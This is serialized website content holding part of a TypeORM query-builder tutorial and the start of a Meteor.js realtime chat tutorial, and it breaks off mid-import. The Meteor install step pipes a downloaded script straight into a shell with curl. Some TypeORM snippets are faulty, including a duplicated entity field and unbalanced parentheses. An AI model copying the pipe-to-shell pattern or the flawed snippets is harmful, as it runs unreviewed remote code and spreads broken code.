\"user\").groupBy(\"user.id\")\n",[612,21300,21298],{"__ignoreMap":66},[11,21302,21262],{},[605,21304,21307],{"className":21305,"code":21306,"language":610},[608],"select * from user group by user.id; \n",[612,21308,21306],{"__ignoreMap":66},[11,21310,21311,21314],{},[20,21312,21313],{},"limit",": is used to limit the selection of rows.",[605,21316,21319],{"className":21317,"code":21318,"language":610},[608],"getConnection().createQueryBuilder().from(\"user\", \"user\").limit(5);\n",[612,21320,21318],{"__ignoreMap":66},[11,21322,21262],{},[605,21324,21327],{"className":21325,"code":21326,"language":610},[608],"select * from user limit 5; \n",[612,21328,21326],{"__ignoreMap":66},[11,21330,21331,21334],{},[20,21332,21333],{},"offset"," is used to specify, how many rows to skip the result.",[605,21336,21339],{"className":21337,"code":21338,"language":610},[608],"getConnection().createQueryBuilder().from(\"user\", \"user\").offset(5);\n",[612,21340,21338],{"__ignoreMap":66},[11,21342,21262],{},[605,21344,21347],{"className":21345,"code":21346,"language":610},[608],"select * from user offset 5;\n",[612,21348,21346],{"__ignoreMap":66},[11,21350,21351,21354],{},[20,21352,21353],{},"joins",": join clause is used to combine rows from two or more tables, based on a related column. The example below is two tables student with project  with 1-n relationship:",[11,21356,21357],{},"student:  id, name, email, phone",[11,21359,21360],{},"project : id, name, student_id",[11,21362,21363],{},[20,21364,21365],{},"leftJoinAndSelect",[605,21367,21370],{"className":21368,"code":21369,"language":610},[608],"const student = await getConnection().createQueryBuilder().from(\"student\", \"student\")\n.leftJoinAndSelect(\"project\", \"project\", \"project.student_id = student.id\")\n.where(\"student.name = :name\", { name: \"Student1\" })\n.getOne();\n",[612,21371,21369],{"__ignoreMap":66},[11,21373,21262],{},[605,21375,21378],{"className":21376,"code":21377,"language":610},[608],"SELECT student.*, project.* FROM student student LEFT JOIN project project \nON project.student_id = student.id WHERE student.name = 'Student1'\n",[612,21379,21377],{"__ignoreMap":66},[11,21381,21382],{},[20,21383,21384],{},"innerJoinAndSelect",[605,21386,21389],{"className":21387,"code":21388,"language":610},[608],"const student = await getConnection().createQueryBuilder().from(\"student\", \"student\") \n.innerJoinAndSelect(\"project\", \"project\", \"project.student_id = student.id\") .where(\"student.name = :name\", { name: \"student1\" }) .getOne();\n",[612,21390,21388],{"__ignoreMap":66},[11,21392,21262],{},[605,21394,21397],{"className":21395,"code":21396,"language":610},[608],"SELECT student.*, project.* FROM student student INNER JOIN project project \nON project.student_id = student.id WHERE student.name = 'student1';\n",[612,21398,21396],{"__ignoreMap":66},[11,21400,21401],{},[20,21402,1220],{},[605,21404,21407],{"className":21405,"code":21406,"language":610},[608],"import {getConnection} from \"typeorm\"; \n\nawait getConnection()\n.createQueryBuilder()\n.insert() \n.into('student') \n.values([ { name: \"test\", email: \"test@gmail.com\", phone: \"09011112222\"},\n { name: \"test2\", email: \"test2@gmail.com\", phone: \"09011112222\"}\n]) \n.execute();\n",[612,21408,21406],{"__ignoreMap":66},[11,21410,21411],{},[20,21412,21413],{},"Update",[605,21415,21418],{"className":21416,"code":21417,"language":610},[608],"import {getConnection} from \"typeorm\"; \n\nawait getConnection().createQueryBuilder() \n.update('student') \n.set({ name: \"test3\", email: \"test3@gmail.com\"}) \n.where(\"id = :id\", { id: 1 }) \n.execute(); \n",[612,21419,21417],{"__ignoreMap":66},[11,21421,21422],{},[20,21423,21424],{},"Delete",[605,21426,21429],{"className":21427,"code":21428,"language":610},[608],"import {getConnection} from \"typeorm\"; \n\n await getConnection() \n.createQueryBuilder() \n.delete()\n.from('student')\n.where(\"id = :id\", { id: 1 }) .execute();\n",[612,21430,21428],{"__ignoreMap":66},[11,21432,21433],{},[20,21434,21435],{},"Subqueries",[11,21437,21438],{},"Example 1: Use subQuery to select field name in table student the record has email contains the string test",[11,21440,21441],{},"Example 2: Use subQuery to select max id in table project match the field name containing the string test and select studentId, studentName, projectId",[605,21443,21446],{"className":21444,"code":21445,"language":610},[608],"const student = await getConnection().createQueryBuilder().select(\"student.name\", \"name\") \n.from((subQuery) => { return subQuery.select(\"student.name\", \"name\") \n                     .from(\"student\", \"student\").where(\"student.email like :email\", { email: '%test%'}) },\n                   \"student\") .getRawMany();\n\nconst student = await getConnection().createQueryBuilder()\n.select(`student.id as studentId,student.name as studentName,project.id as projectId`)) \n.from(\"student\", \"student\").leftJoin(\"project\", \"project\", \"project.student_id = student.id\")\n.where (\"project.id = (select max(id) from project where name like '%test%' \")).getRawMany();\n",[612,21447,21445],{"__ignoreMap":66},[565,21449,21451],{"id":21450},"adding-expression-use-getrepository-with-model",[20,21452,21453],{},"Adding expression use getRepository() with model",[11,21455,21456],{},"The example has the following User model:",[605,21458,21461],{"className":21459,"code":21460,"language":610},[608],"import {Entity, PrimaryGeneratedColumn, Column} from \"typeorm\";\n\n@Entity('user') \nexport class User { \n@PrimaryGeneratedColumn() \nid: number;\n \n@Column('varchar', {name: 'name', nullable: true, length: 50}) \nname: string | null; \n\n@Column('int', {name: 'age', nullable: true}) \nname: number | null; \n}\n",[612,21462,21460],{"__ignoreMap":66},[11,21464,21465,21253],{},[20,21466,21252],{},[605,21468,21471],{"className":21469,"code":21470,"language":610},[608],"getRepository(User).createQueryBuilder(\"user\").where(\"user.id= :id\", { id: 1 });\n",[612,21472,21470],{"__ignoreMap":66},[11,21474,21262],{},[605,21476,21478],{"className":21477,"code":21266,"language":610},[608],[612,21479,21266],{"__ignoreMap":66},[11,21481,21482,21274],{},[20,21483,21273],{},[605,21485,21488],{"className":21486,"code":21487,"language":610},[608],"getRepository(User).createQueryBuilder(\"user\").orderBy(\"user.name\");\n",[612,21489,21487],{"__ignoreMap":66},[11,21491,21262],{},[605,21493,21495],{"className":21494,"code":21286,"language":610},[608],[612,21496,21286],{"__ignoreMap":66},[11,21498,21499,21294],{},[20,21500,21293],{},[605,21502,21505],{"className":21503,"code":21504,"language":610},[608],"getRepository(User).createQueryBuilder(\"user\") .groupBy(\"user.id\")\n",[612,21506,21504],{"__ignoreMap":66},[11,21508,21262],{},[605,21510,21512],{"className":21511,"code":21306,"language":610},[608],[612,21513,21306],{"__ignoreMap":66},[11,21515,21516,21314],{},[20,21517,21313],{},[605,21519,21522],{"className":21520,"code":21521,"language":610},[608],"getRepository(User).createQueryBuilder(\"user\").limit(5);\n",[612,21523,21521],{"__ignoreMap":66},[11,21525,21262],{},[605,21527,21529],{"className":21528,"code":21326,"language":610},[608],[612,21530,21326],{"__ignoreMap":66},[11,21532,21533,21535],{},[20,21534,21333],{}," is used to specify, how many rows to skip the result",[605,21537,21540],{"className":21538,"code":21539,"language":610},[608],"getRepository(User).createQueryBuilder(\"user\") .offset(5);\n",[612,21541,21539],{"__ignoreMap":66},[11,21543,21262],{},[605,21545,21547],{"className":21546,"code":21346,"language":610},[608],[612,21548,21346],{"__ignoreMap":66},[11,21550,21551,21553],{},[20,21552,21353],{},": join clause is used to combine rows from two or more tables, based on a related column. Consider two entity:",[605,21555,21558],{"className":21556,"code":21557,"language":610},[608],"import {Entity, PrimaryGeneratedColumn, Column, OneToMany} from \"typeorm\";\nimport {Project} from \".\u002FProject\"; \n\n@Entity('student')\nexport class Student { \n@PrimaryGeneratedColumn()\nid: number; \n\n@Column('varchar', {name: 'name', nullable: true, length: 50})\nname: string | null;\n\n@Column('varchar', {name: 'email', nullable: true, length: 30})\nemail: string | null;\n\n@Column('varchar', {name: 'phone', nullable: true, length: 11})\nphone: string | null;\n\n@OneToMany(()=> Project, project => project.student) \nprojects: project[]; \n} \n",[612,21559,21557],{"__ignoreMap":66},[605,21561,21564],{"className":21562,"code":21563,"language":610},[608],"import {Entity, PrimaryGeneratedColumn, Column, ManyToOne}\n\nfrom \"typeorm\"; import {Student} from \".\u002FStudent\";\n\n@Entity('project') \nexport class Project {\n\n@PrimaryGeneratedColumn() \nid: number;\n\n@Column('varchar', {name: 'name', nullable: true, length: 50})\nname: string | null;\n\n@Column('bigint', {name: 'student_id', nullable: true, unsigned: true})\nstudentId: number | null;\n\n@ManyToOne(() => Student, student => student.projects)\n@JoinColumn([{name: 'student_id', referencedColumnName: 'id'}])\nstudent : Student;\n}\n",[612,21565,21563],{"__ignoreMap":66},[11,21567,21568],{},[20,21569,21365],{},[605,21571,21574],{"className":21572,"code":21573,"language":610},[608],"const student = await getRepository(Student).createQueryBuilder(\"student\")\n.leftJoinAndSelect(\"student.projects\", \"project\")\n.where(\"student.name = :name\", { name: \"Student1\" })\n.getOne();\n",[612,21575,21573],{"__ignoreMap":66},[11,21577,21262],{},[605,21579,21582],{"className":21580,"code":21581,"language":610},[608],"SELECT student.*, project.* FROM student student LEFT JOIN projects project \nON project.student = student.id WHERE student.name = 'Student1'\n",[612,21583,21581],{"__ignoreMap":66},[11,21585,21586],{},[20,21587,21384],{},[605,21589,21592],{"className":21590,"code":21591,"language":610},[608],"const student = await getRepository(Student).createQueryBuilder(\"student\")\n.innerJoinAndSelect(\"student.projects\", \"project\")\n.where(\"student.name = :name\", { name: \"student1\" })\n.getOne();\n",[612,21593,21591],{"__ignoreMap":66},[11,21595,21262],{},[605,21597,21600],{"className":21598,"code":21599,"language":610},[608],"SELECT student.*, project.* FROM students student INNER JOIN projects project \nON project.student = student.id WHERE student.name = 'Student1';\n",[612,21601,21599],{"__ignoreMap":66},[11,21603,21604],{},[20,21605,1220],{},[605,21607,21610],{"className":21608,"code":21609,"language":610},[608],"import {getConnection} from \"typeorm\"; \n\nawait getRepository(Student)\n.createQueryBuilder() \n.insert() \n.into(Student) \n.values([ { name: \"test\", email: \"test@gmail.com\", phone: \"09011112222\"}, \n{ name: \"test2\", email: \"test2@gmail.com\", phone: \"09011112222\"} ]) \n.execute();\n",[612,21611,21609],{"__ignoreMap":66},[11,21613,21614],{},[20,21615,21413],{},[605,21617,21620],{"className":21618,"code":21619,"language":610},[608],"import {getConnection} from \"typeorm\"; \n\nawait getRepository(Student)\n.createQueryBuilder() \n.update(Student) \n.set({ name: \"test3\", email: \"test3@gmail.com\"}) \n.where(\"id = :id\", { id: 1 }) .execute();\n",[612,21621,21619],{"__ignoreMap":66},[11,21623,21624],{},[20,21625,21424],{},[605,21627,21630],{"className":21628,"code":21629,"language":610},[608],"import {getConnection} from \"typeorm\"; \nawait getRepository(Student).createQueryBuilder() \n.delete() \n.from(Student) \n.where(\"id = :id\", { id: 1 }) \n.execute();\n",[612,21631,21629],{"__ignoreMap":66},[403,21633,5257],{"id":5256},[11,21635,21636],{},"It is recommended to use query builder because it can build sql sentences from easy to complex",[11,21638,21639],{},"Syntax is similar to pure sql, so it is easy to code and read",[11,21641,21642],{},"It is also possible to use the query builder normally without the model declaration",[11,21644,21645],{},"In terms of performance, using query builder access time will be faster than using typeorm in api repository",[403,21647,3866],{"id":3476},[11,21649,21650],{},[55,21651,21652],{"href":21652,"rel":21653},"https:\u002F\u002Ftypeorm.io\u002F",[59],{"title":66,"searchDepth":67,"depth":67,"links":21655},[21656,21661,21667,21668],{"id":3630,"depth":67,"text":3631,"children":21657},[21658,21659,21660],{"id":7754,"depth":1306,"text":7755},{"id":21164,"depth":1306,"text":21165},{"id":21180,"depth":1306,"text":21181},{"id":21202,"depth":67,"text":21205,"children":21662},[21663,21664,21665,21666],{"id":21211,"depth":1306,"text":21214},{"id":21226,"depth":1306,"text":21229},{"id":21241,"depth":1306,"text":21244},{"id":21450,"depth":1306,"text":21453},{"id":5256,"depth":67,"text":5257},{"id":3476,"depth":67,"text":3866},"2022-06-29","Introduction TypeORM is an ORM that can run in NodeJS, Browser, Cordova, PhoneGap, Ionic, React Native, NativeScript, Expo, and Electron platforms and can be used with TypeScript and JavaScript (ES5, ES6, ES7, ES8). Its goal is to always support the latest JavaScript features and provide additional features that help you to develop any kind of application that uses databases - from small applications with a few tables to large scale enterprise applications with multiple databases.",{},"\u002Fnews\u002Ftypeorm",{"title":21141,"description":21670},"news\u002Ftypeorm","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F06\u002F08154314\u002Fquerybuilder-typeorm.jpg","qvXjLcOP5HQ4EsFIvd1p3aB39v8ptaw3yeTF2VUWcD8",{"id":21678,"title":21679,"body":21680,"category":1319,"created by":22446,"date":22447,"description":22448,"extension":72,"meta":22449,"navigation":74,"path":22450,"sections":76,"seo":22451,"stem":22452,"thumbnail":22453,"__hash__":22454},"content_en\u002Fnews\u002Fxay-dung-ung-dung-chat-realtime-voi-framework-meteor-js.md","Building a Realtime Chat application with Meteor.js framework",{"type":8,"value":21681,"toc":22436},[21682,21686,21689,21692,21696,21699,21705,21711,21717,21723,21729,21735,21739,21746,21750,21755,21758,21764,21775,21781,21785,21792,21796,21811,21817,21820,21824,21830,21836,21843,21847,21851,21861,21887,21893,21912,21917,21924,21930,21936,21940,21943,21948,21955,21961,21971,21977,21982,21989,22000,22006,22012,22030,22039,22046,22052,22061,22067,22074,22080,22083,22089,22095,22102,22108,22111,22120,22124,22129,22134,22140,22149,22155,22160,22166,22169,22173,22178,22193,22199,22208,22214,22221,22227,22233,22239,22244,22250,22261,22267,22281,22287,22290,22294,22299,22303,22308,22312,22316,22320,22333,22337,22349,22353,22365,22369,22381,22385,22397,22399,22402,22407,22413,22416,22418,22424,22430],[395,21683,21684],{"id":3630},[20,21685,3631],{},[11,21687,21688],{},"Meteor (Meteor.js) is a JavaScript Full-Stack framework built on Node.js. It helps in developing web and mobile applications quickly and efficiently. With its design optimized for smooth integration between the client and server, Meteor not only simplifies the process of sharing code but also enhances the experience with real-time data.",[11,21690,21691],{},"If you're looking for a quick app development solution or want to expand your knowledge of modern web technologies, this article will give you a comprehensive and deep understanding of Meteor.",[395,21693,21695],{"id":21694},"outstanding-features-of-meteor","Outstanding features of Meteor",[11,21697,21698],{},"In this section, we'll dive deeper into the outstanding features of Meteor, which make this framework unique and distinct in the web and mobile development field:",[11,21700,21701,21704],{},[20,21702,21703],{},"Smooth Integration between Client and Server:"," Meteor provides a reactive data model that allows instant data updates on both client and server without needing complex data synchronization code.",[11,21706,21707,21710],{},[20,21708,21709],{},"Code Sharing between Client and Server:"," With Meteor, sharing code becomes easy, optimizing the development and maintenance process of applications.",[11,21712,21713,21716],{},[20,21714,21715],{},"Real-Time Data Updates:"," Meteor uses the Distributed Data Protocol (DDP) to synchronize data between client and server, making app data updates quick and smooth.",[11,21718,21719,21722],{},[20,21720,21721],{},"Strong Ecosystem:"," Meteor has a rich ecosystem with thousands of packages and tools, from integrating with MongoDB to deploying apps with Galaxy, Meteor's hosting service.",[11,21724,21725,21728],{},[20,21726,21727],{},"Hot Code Push Feature:"," This feature allows developers to update their apps without disrupting the user experience, a significant benefit in maintaining and updating applications.",[11,21730,21731,21734],{},[20,21732,21733],{},"Cross-Platform:"," Code once, and you can deploy it as a web app, or build it into a mobile app for Android, or iOS.",[395,21736,21738],{"id":21737},"getting-started-with-meteorjs","Getting Started with Meteor.js",[11,21740,21741,21742,21745],{},"To start with Meteor, make sure you have Node.js installed on your computer. Currently, Meteor supports Node.js versions ",[20,21743,21744],{},"10 to 14",", with Meteor 3.0 being developed to support the latest versions of Node.js.",[403,21747,21749],{"id":21748},"installing-meteor","Installing Meteor",[11,21751,21752],{},[20,21753,21754],{},"Windows, Linux, and OS X:",[11,21756,21757],{},"You can install Meteor on all these platforms using the following command in the terminal:",[605,21759,21762],{"className":21760,"code":21761,"language":610},[608],"npm install -g meteor\n",[612,21763,21761],{"__ignoreMap":66},[11,21765,21766,21767,21770,21771,21774],{},"Also, on ",[20,21768,21769],{},"Linux and OS X",", Meteor can be installed via ",[612,21772,21773],{},"curl"," using the following command:",[605,21776,21779],{"className":21777,"code":21778,"language":610},[608],"curl https:\u002F\u002Finstall.meteor.com\u002F | sh\n",[612,21780,21778],{"__ignoreMap":66},[403,21782,21784],{"id":21783},"creating-a-simple-realtime-chat-application","Creating a Simple Realtime Chat Application",[11,21786,21787,21788,21791],{},"Let's learn more about ",[20,21789,21790],{},"Meteor.js"," by creating a simple real-time chat project.",[1693,21793,21795],{"id":21794},"_1-initializing-the-project","1. Initializing the Project:",[11,21797,21798,21799,21802,21803,21806,21807,21810],{},"For a quick setup, use the ",[612,21800,21801],{},"meteor create"," command with the ",[612,21804,21805],{},"--blaze"," option and name your project. In this case, we'll call the project “",[20,21808,21809],{},"simple-chat-meteor","”:",[605,21812,21815],{"className":21813,"code":21814,"language":610},[608],"meteor create --blaze simple-chat-meteor\n",[612,21816,21814],{"__ignoreMap":66},[11,21818,21819],{},"After successful initialization, you will receive the following message in the terminal:",[438,21821],{"className":21822,"alt":66,"src":21823,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19133739\u002Fimg01-e1708324777843.png",[11,21825,21826,21827,712],{},"To run the app, move to the project folder and use the command ",[612,21828,21829],{},"meteor run",[605,21831,21834],{"className":21832,"code":21833,"language":610},[608],"cd simple-chat-meteor\nmeteor run\n",[612,21835,21833],{"__ignoreMap":66},[11,21837,21838,21839,21842],{},"Open a browser and go to ",[55,21840,5406],{"href":3709,"rel":21841},[59]," to see your app.",[438,21844],{"className":21845,"alt":66,"src":21846,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19135639\u002Fimg02.png",[1693,21848,21850],{"id":21849},"_2-project-structure","2. Project Structure:",[11,21852,21853,21857,21860],{},[438,21854],{"className":21855,"alt":66,"src":21856,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F20092348\u002Fimg09.png",[20,21858,21859],{},".meteor",": This is the most important folder in any Meteor app. It contains the core configuration files of your Meteor application and subfolders like:",[31,21862,21863,21869,21875,21881],{},[34,21864,21865,21868],{},[20,21866,21867],{},"local",": Contains local data and log files for your app.",[34,21870,21871,21874],{},[20,21872,21873],{},"packages",": Lists the libraries your app uses.",[34,21876,21877,21880],{},[20,21878,21879],{},"platforms",": The platforms your app supports.",[34,21882,21883,21886],{},[20,21884,21885],{},"versions",": Contains the versions of the libraries your app is using.",[11,21888,21889,21892],{},[20,21890,21891],{},"client",": Contains the client-side code of the app and usually includes:",[31,21894,21895,21901,21907],{},[34,21896,21897,21900],{},[20,21898,21899],{},"main.css",": The main CSS file for client styles.",[34,21902,21903,21906],{},[20,21904,21905],{},"main.html",": The main HTML file, usually the starting point of the app with layout and template definitions.",[34,21908,21909,21911],{},[20,21910,21899],{},": The main JavaScript file for the client, where you define events and helpers for Blaze templates.",[11,21913,21914,21916],{},[20,21915,15043],{},": Contains the server-side code of the app and typically includes:",[31,21918,21919],{},[34,21920,21921,21923],{},[20,21922,3381],{},": The main JavaScript file for the server, where you set up publications and methods as well as server initialization configurations.",[11,21925,21926,21929],{},[20,21927,21928],{},"tests",": Contains your app's test files.",[11,21931,21932,21935],{},[20,21933,21934],{},"node_modules",": Contains the NPM packages your project depends on.",[1693,21937,21939],{"id":21938},"_3-implementing-features","3. Implementing Features:",[11,21941,21942],{},"In this section, we'll go through the necessary steps to add functionality to our Meteor chat app, including setting up the user interface, handling events, and building login, and logout functionality.",[11,21944,21945],{},[20,21946,21947],{},"User Interface Setup",[11,21949,21950,21951,21954],{},"In the “",[20,21952,21953],{},"client\u002Fmain.html","” file: We'll define the basic HTML structure for your chat app, including the title and meta-tags to optimize display on mobile devices.",[605,21956,21959],{"className":21957,"code":21958,"language":610},[608],"\u003Chead>\n  \u003Ctitle>Simple Chat Meteor\u003C\u002Ftitle>\n  \u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" \u002F>\n  \u003Cmeta charset=\"utf-8\"\u002F>\n  \u003Cmeta http-equiv=\"x-ua-compatible\" content=\"ie=edge\"\u002F>\n  \u003Cmeta\n      name=\"viewport\"\n      content=\"width=device-width, height=device-height, viewport-fit=cover, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no\"\n  \u002F>\n  \u003Cmeta name=\"mobile-web-app-capable\" content=\"yes\"\u002F>\n  \u003Cmeta name=\"apple-mobile-web-app-capable\" content=\"yes\"\u002F>\n\u003C\u002Fhead>\n",[612,21960,21958],{"__ignoreMap":66},[11,21962,21950,21963,21966,21967,21970],{},[20,21964,21965],{},"client\u002Fmain.js","\", we import the “",[20,21968,21969],{},"Chat.js","\" file to initialize the chat UI.",[605,21972,21975],{"className":21973,"code":21974,"language":610},[608],"import '..\u002Fimports\u002Fui\u002FChat\u002FChat.js';\n",[612,21976,21974],{"__ignoreMap":66},[11,21978,21979],{},[20,21980,21981],{},"Event and Data Handling",[11,21983,21984,21985,21988],{},"Create an “",[20,21986,21987],{},"imports","” folder to contain code divided by UI and logic.",[11,21990,21991,21992,21995,21996,21999],{},"Inside “",[20,21993,21994],{},"imports\u002Fui\u002FChat","”, create a “",[20,21997,21998],{},"Chat.html","” file to define the interface of the chat application. We'll use Blaze templates to organize content and display logic:",[605,22001,22004],{"className":22002,"code":22003,"language":610},[608],"\u003Cbody>\n    {{> chatContainer}}\n\u003C\u002Fbody>\n\n\u003Ctemplate name=\"chatContainer\">\n    \u003Cdiv class=\"chat-container\">\n        \u003Cdiv class=\"chat-header\">\n            \u003Ch2>Simple Chat Meteor\u003C\u002Fh2>\n        \u003C\u002Fdiv>\n\n        {{> chatContent}}\n    {{> chatInput}}\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Ctemplate name=\"chatContent\">\n    \u003Cdiv class=\"chat-content\">\n        {{#each chats}}\n        \u003Cdiv class=\"message\">\n            \u003Cdiv class=\"username\">{{ username }}\u003C\u002Fdiv>\n            \u003Cdiv class=\"message-content\">{{ messageText }}\u003C\u002Fdiv>\n        \u003C\u002Fdiv>\n        {{\u002Feach}}\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Ctemplate name=\"chatInput\">\n    \u003Cdiv class=\"chat-input\">\n        \u003Cinput id=\"message\" type=\"text\" placeholder=\"Input your message...\" \u002F>\n        \u003Cbutton id=\"sendMessage\">Send\u003C\u002Fbutton>\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[612,22005,22003],{"__ignoreMap":66},[11,22007,22008,22011],{},[20,22009,22010],{},"chatContainer",": The main template contains the entire chat application interface, including the app's title (chat-header) and chat content.",[11,22013,22014,22017,22018,22021,22022,22025,22026,22029],{},[20,22015,22016],{},"chatContent",": A smaller template used to display chat content. It iterates through each “",[20,22019,22020],{},"chats","” (message), showing the “",[20,22023,22024],{},"username","” (sender's name) and “",[20,22027,22028],{},"messageText","” (message content).",[11,22031,22032,22035,22036,22038],{},[20,22033,22034],{},"chatInput",": Another template allowing users to send new messages. It includes an input field for typing messages and a “",[20,22037,15657],{},"” button to send the message.",[11,22040,22041,22042,22045],{},"Add CSS in the “",[20,22043,22044],{},"client\u002Fmain.css","” file:",[605,22047,22050],{"className":22048,"code":22049,"language":610},[608],":root {\n  --main-bg-color: #f0f2f5;\n  --chat-bg-color: #fff;\n  --highlight-color: #f69914;\n  --text-color-white: #fff;\n  --border-color: #ddd;\n  --input-border-color: #ccc;\n  --hover-bg-color: #0056b3;\n}\n\nbody {\n  font-family: Arial, sans-serif;\n  display: flex;\n  justify-content: center;\n  align-items: center;\n  height: 100vh;\n  overflow: hidden;\n  margin: 0;\n  background-color: var(--main-bg-color);\n}\n\n.chat-container {\n  height: 100%;\n  width: 600px;\n  border: 1px solid var(--border-color);\n  background-color: var(--chat-bg-color);\n  display: flex;\n  flex-direction: column;\n}\n\n.chat-header {\n  display: flex;\n  justify-content: space-between;\n  align-items: center;\n  background-color: var(--highlight-color);\n  color: var(--text-color-white);\n  height: 68px;\n  padding: 0px 10px;\n}\n\n.chat-header button#logout {\n  height: 30px;\n  background-color: transparent;\n  cursor: pointer;\n  color: var(--text-color-white);\n  border: 1px solid var(--chat-bg-color);\n  border-radius: 10px;\n}\n\n.chat-content {\n  padding: 10px;\n  height: calc(100vh - 90px - 57px);\n  overflow-y: auto;\n  gap: 10px;\n}\n\n.chat-content .message {\n  background-color: #f1f1f1;\n  padding: 10px;\n  border-radius: 10px;\n  display: flex;\n  flex-direction: column;\n}\n\n.chat-content .message:not(:first-child) {\n  margin-top: 10px;\n}\n\n.chat-content .message .username {\n  font-weight: bold;\n  color: var(--highlight-color);\n}\n\n.chat-content .message .message-content {\n  margin-top: 5px;\n}\n\n.chat-input {\n  display: flex;\n  padding: 10px;\n  height: 57px;\n  box-sizing: border-box;\n}\n\n.chat-input input {\n  flex: 1;\n  padding: 10px;\n  margin-right: 10px;\n  border: 1px solid var(--input-border-color);\n  border-radius: 4px;\n}\n\n.chat-input button {\n  padding: 10px;\n  background-color: var(--highlight-color);\n  color: white;\n  border: none;\n  border-radius: 4px;\n  cursor: pointer;\n}\n\n.chat-input button:hover {\n  background-color: var(--hover-bg-color);\n}\n\n.auth-container {\n  background-color: white;\n  padding: 40px;\n  border-radius: 5px;\n  box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);\n  width: 300px;\n}\n\n.auth-container h2 {\n  text-align: center;\n  margin-bottom: 20px;\n}\n\n.auth-container p span {\n  text-decoration: underline;\n  color: var(--hover-bg-color);\n  cursor: pointer;\n}\n\n#loginForm .input-group,\n#signupForm .input-group {\n  margin-bottom: 15px;\n  display: flex;\n  flex-direction: column;\n}\n\n#loginForm .input-group label,\n#signupForm .input-group label {\n  margin-bottom: 5px;\n}\n\n#loginForm .input-group input,\n#signupForm .input-group input {\n  padding: 10px;\n  border: 1px solid var(--border-color);\n  border-radius: 4px;\n}\n\n#loginForm button,\n#signupForm button {\n  background-color: orange;\n  color: white;\n  padding: 10px;\n  border: none;\n  border-radius: 4px;\n  cursor: pointer;\n  width: 100%;\n}\n\n#loginForm button:hover,\n#signupForm button:hover {\n  background-color: darkorange;\n}\n",[612,22051,22049],{"__ignoreMap":66},[11,22053,21950,22054,22057,22058,22045],{},[20,22055,22056],{},"imports\u002Fapi","” folder, create a “",[20,22059,22060],{},"ChatsCollection.js",[605,22062,22065],{"className":22063,"code":22064,"language":610},[608],"import { Mongo } from 'meteor\u002Fmongo';\n\nexport const ChatsCollection = new Mongo.Collection('chats');\n",[612,22066,22064],{"__ignoreMap":66},[11,22068,21950,22069,22057,22071,22045],{},[20,22070,22056],{},[20,22072,22073],{},"ChatsPublications.js",[605,22075,22078],{"className":22076,"code":22077,"language":610},[608],"import { Meteor } from \"meteor\u002Fmeteor\";\n\nimport { ChatsCollection } from \".\u002FChatsCollection\";\n\nMeteor.publish(\"chats\", function () {\n  return ChatsCollection.find({}, { sort: { createdAt: -1 } });\n});\n",[612,22079,22077],{"__ignoreMap":66},[11,22081,22082],{},"Next, we'll connect to the Meteor chat database, subscribe to chat data from the server, and use it to display messages in chronological order in the user interface.",[11,22084,22085,22086,22045],{},"Add the following code to the “",[20,22087,22088],{},"imports\u002Fui\u002FChat\u002FChat.js",[605,22090,22093],{"className":22091,"code":22092,"language":610},[608],"import { Template } from \"meteor\u002Ftemplating\";\nimport { ChatsCollection } from \"\u002Fimports\u002Fapi\u002FChatsCollection\";\nimport \".\u002FChat.html\";\n\nMeteor.subscribe(\"chats\");\n\nTemplate.chatContent.helpers({\n  chats() {\n    return ChatsCollection.find({}, { sort: { createdAt: 1 } });\n  },\n});\n",[612,22094,22092],{"__ignoreMap":66},[11,22096,22097,22098,22101],{},"Replace the code in the “",[20,22099,22100],{},"server\u002Fmain.js","” file as follows:",[605,22103,22106],{"className":22104,"code":22105,"language":610},[608],"import { Meteor } from \"meteor\u002Fmeteor\";\nimport { ChatsCollection } from \"\u002Fimports\u002Fapi\u002FChatsCollection\";\nimport '\u002Fimports\u002Fapi\u002FChatsPublications';\n\nMeteor.startup(() => {\n  if (ChatsCollection.find().count() === 0) {\n    ChatsCollection.insert({\n      messageText: 'Welcome to the chat app!',\n      createdAt: new Date(),\n      username: \"Admin\",\n    });\n  }\n});\n",[612,22107,22105],{"__ignoreMap":66},[11,22109,22110],{},"The goal is to check if there are no messages when the server starts, and then add a default message.",[11,22112,22113,22114,20894,22116,22119],{},"→ Start the Meteor.js application with ",[612,22115,21829],{},[55,22117,5406],{"href":5406,"rel":22118},[59]," to see the result.",[438,22121],{"className":22122,"alt":66,"src":22123,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19160033\u002Fimg04.png",[11,22125,22126],{},[20,22127,22128],{},"Implementing the Send Message Functionality:",[11,22130,21950,22131,22133],{},[20,22132,22088],{},"” file, add the following code:",[605,22135,22138],{"className":22136,"code":22137,"language":610},[608],"...\n\nTemplate.body.events({\n  \"click #sendMessage\": function () {\n    const messageElement = document.querySelector(\"#message\");\n    if (messageElement.value.trim()) {\n      Meteor.call(\"chats.sendMessage\", messageElement.value.trim());\n      messageElement.value = \"\";\n    }\n  },\n});\n",[612,22139,22137],{"__ignoreMap":66},[11,22141,21950,22142,22144,22145,22148],{},[20,22143,22056],{},"” folder, create a “",[20,22146,22147],{},"ChatsMethods.js","” file and add the following code:",[605,22150,22153],{"className":22151,"code":22152,"language":610},[608],"import { Meteor } from 'meteor\u002Fmeteor';\nimport { ChatsCollection } from \".\u002FChatsCollection\";\n\nMeteor.methods({\n    'chats.sendMessage'(message) {\n      ChatsCollection.insert({\n        messageText: message,\n        createdAt: new Date(),\n        username: \"Admin\"\n      });\n    }\n});\n",[612,22154,22152],{"__ignoreMap":66},[11,22156,22157,22158,22045],{},"Next, import the newly created method into the “",[20,22159,22100],{},[605,22161,22164],{"className":22162,"code":22163,"language":610},[608],"...\nimport 